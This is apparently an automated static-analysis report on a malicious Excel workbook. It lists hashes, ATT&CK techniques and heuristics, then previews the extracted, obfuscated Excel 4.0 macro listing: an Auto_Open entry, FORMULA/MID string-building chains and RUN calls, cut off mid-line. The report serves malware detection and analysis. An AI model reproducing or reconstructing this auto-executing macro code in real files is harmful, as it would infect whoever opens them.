Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c287fafd85b5a926…

MALICIOUS

Office (OLE)

217.5 KB Created: 2020-05-25 08:58:54 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: aff06b0835e56795d31af66a6b42c6e4 SHA-1: 2a902723995d08232441f35ad847a513f92425f6 SHA-256: c287fafd85b5a926e53d1efedba9638dd3f753ec28d2828e25cc7169ff450c9a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code upon opening the document. The macros utilize the RUN function, indicating an attempt to execute external commands or payloads. The specific commands are obfuscated within the macro logic, but the presence of RUN calls is a critical indicator of malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 54422 bytes
SHA-256: 782e32fb8cd14b0cbb48e1b7dfe4facc1d39c2cbb564d33f0b4ebd78ba158e26
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gb5vTjlRwG0k9hzIiObPD5RqP43X6
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!D42600 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,JE939,GOTO(Q48534),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,JL1326,"FORMULA(MID(BE44974,12,1)&MID(DP4613,2,1)&MID(DP4613,14,1)&MID(DP4613,1,1)&MID(BE44974,16,1)&MID(BE44974,19,1)&MID(FE9673,9,1)&MID(DP4613,14,1)&MID(DG36275,4,1)&MID(FE9673,18,1)&MID(BE44974,5,1)&MID(BE44974,5,1)&MID(BE44974,5,1)&MID(BE44974,1,1)&MID(DG36275,6,1)&MID(BE44974,18,1)&MID(DG36275,4,1)&MID(BE44974,3,1)&MID(DG36275,6,1)&MID(FE9673,13,1)&MID(BE44974,1,1)&MID(BE44974,4,1)&MID(BE44974,4,1)&MID(FE9673,10,1),JL1327)",""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,JL1328,RUN(N60151),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,FB1806,"FORMULA("XYZ[\]^_`abcdefghij",DG36275)",""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,FB1807,GOTO(BD37545),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,GY3736,RUN(BT46393),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,M3749,"FORMULA(MID(CN52142,12,1)&MID(CN52142,16,1)&MID(CA6394,8,1)&MID(CA6394,1,1)&MID(CA6394,14,1)&MID(CA6394,16,1)&MID(JH56872,9,1)&MID(CA6394,14,1)&MID(DL11056,4,1)&MID(CN52142,2,1)&MID(CN52142,4,1)&MID(JH56872,17,1)&MID(CN52142,6,1)&MID(CN52142,5,1)&MID(DL11056,6,1)&MID(CN52142,18,1)&MID(DL11056,4,1)&MID(JH56872,18,1)&MID(CN52142,8,1)&MID(DL11056,6,1)&MID(JH56872,10,1),X21266)",""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,M3750,RUN(HE25994),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,EZ4364,RUN(JE938),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,GS6296,"FORMULA(MID(CN52142,12,1)&MID(CA6394,2,1)&MID(CA6394,11,1)&MID(CA6394,12,1)&MID(CA6394,1,1)&MID(CA6394,10,1)&MID(JH56872,9,1)&MID(CA6394,14,1)&MID(DL11056,4,1)&MID(CN52142,4,1)&MID(CN52142,1,1)&MID(CN52142,8,1)&MID(CN52142,5,1)&MID(DL11056,6,1)&MID(CN52142,18,1)&MID(DL11056,4,1)&MID(JH56872,14,1)&MID(CN52142,6,1)&MID(CN52142,7,1)&MID(DL11056,6,1)&MID(JH56872,10,1),HK59513)",""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,GS6297,GOTO(HJ12452),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,BT7626,RUN(DD27497),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,HN8714,"FORMULA("XYZ[\]^_`abcdefghij",DL11056)",""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,HN8715,RUN(JL21602),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,L9382,"FORMULA(MID(CN52142,12,1)&MID(CA6394,5,1)&MID(CA6394,2,1)&MID(JH56872,9,1)&MID(CA6394,5,1)&MID(CA6394,15,1)&MID(CA6394,1,1)&MID(CA6394,14,1)&MID(CA6394,14,1)&MID(CA6394,11,1)&MID(CA6394,14,1)&MID(JH56872,9,1)&MID(CA6394,14,1)&MID(DL11056,4,1)&MID(CN52142,2,1)&MID(CN52142,3,1)&MID(CN52142,1,1)&MID(CN52142,4,1)&MID(DL11056,6,1)&MID(CN52142,18,1)&MID(DL11056,4,1)&MID(JH56872,14,1)&MID(JH56872,18,1)&MID(JH56872,17,1)&MID(CN52142,8,1)&MID(DL11056,6,1)&MID(JH56872,10,1)&MID(JH56872,13,1)&MID(CA6394,3,1)&MID(CA6394,11,1)&MID(CA6394,16,1)&MID(CA6394,11,1)&MID(JH56872,9,1)&MID(CA6394,14,1)&MID(DL11056,4,1)&MID(CN52142,3,1)&MID(CN52142,7,1)&MID(CN52142,4,1)&MID(JH56872,18,1)&MID(CN52142,6,1)&MID(DL11056,6,1)&MID(CN52142,18,1)&MID(DL11056,4,1)&MID(JH56872,14,1)&MID(CN52142,5,1)&MID(CN52142,1,1)&MID(DL11056,6,1)&MID(JH56872,10,1)&MID(JH56872,13,1)&MID(JH56872,10,1),JE938)",""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,L9383,RUN(BR54227),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,HI9873,RUN(HI44574),""
'  gb5vTjlRwG0k9hzIiObPD5RqP43X6,EI10270,"FORMULA(MID(CN52142,12,1)&MID(JH56872,3,1)&MID(DL11056,17,1)&MID(M7128,10,1)&MID(M7128,10,1)&MID(M7128,6,1)&MID(M7128,9,1)&MID(CN52142,9,1)&MID(JH56872,16,1)&MID(JH56872,16,1)&MID(DL11056,18,1)&MID(DL11056,14,1)&MID(DL11056,13,1)&MID(DL11056,18,1)&MID(M7128,9,1)&MID(M7128,5,1)&MID(M7128,4,1)&MID(JH56872,15,1)&MID(M7128,12,1)&MID(DL11056,18,1)&MID(M7128,6,1)&MID(JH56872,16,1)&MID(M7128,13,1)&MID(M7128,6,1)&MID(JH56872,14,1)&MID(M7128,1,1)&MID(DL11056,14,1)&MID(M7128,15,1)&MID(M7128,9,1)&MID(JH56872,15,1)&MID(M7128,6,1)&MID(DL11
... (truncated)